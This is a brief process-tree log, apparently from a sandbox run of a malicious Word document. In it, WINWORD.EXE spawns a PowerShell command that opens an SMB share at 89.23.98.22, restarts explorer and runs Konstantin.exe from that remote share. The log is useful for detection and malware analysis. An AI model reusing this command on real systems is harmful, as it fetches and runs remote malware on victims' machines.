WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\d12934-0202334.doc
1704powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "explorer '\\89.23.98.22\LN\'; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\89.23.98.22\LN\Konstantin.exe"
2220explorer.exe "C:\Windows\system32\explorer.exe" \\89.23.98.22\LN\
2336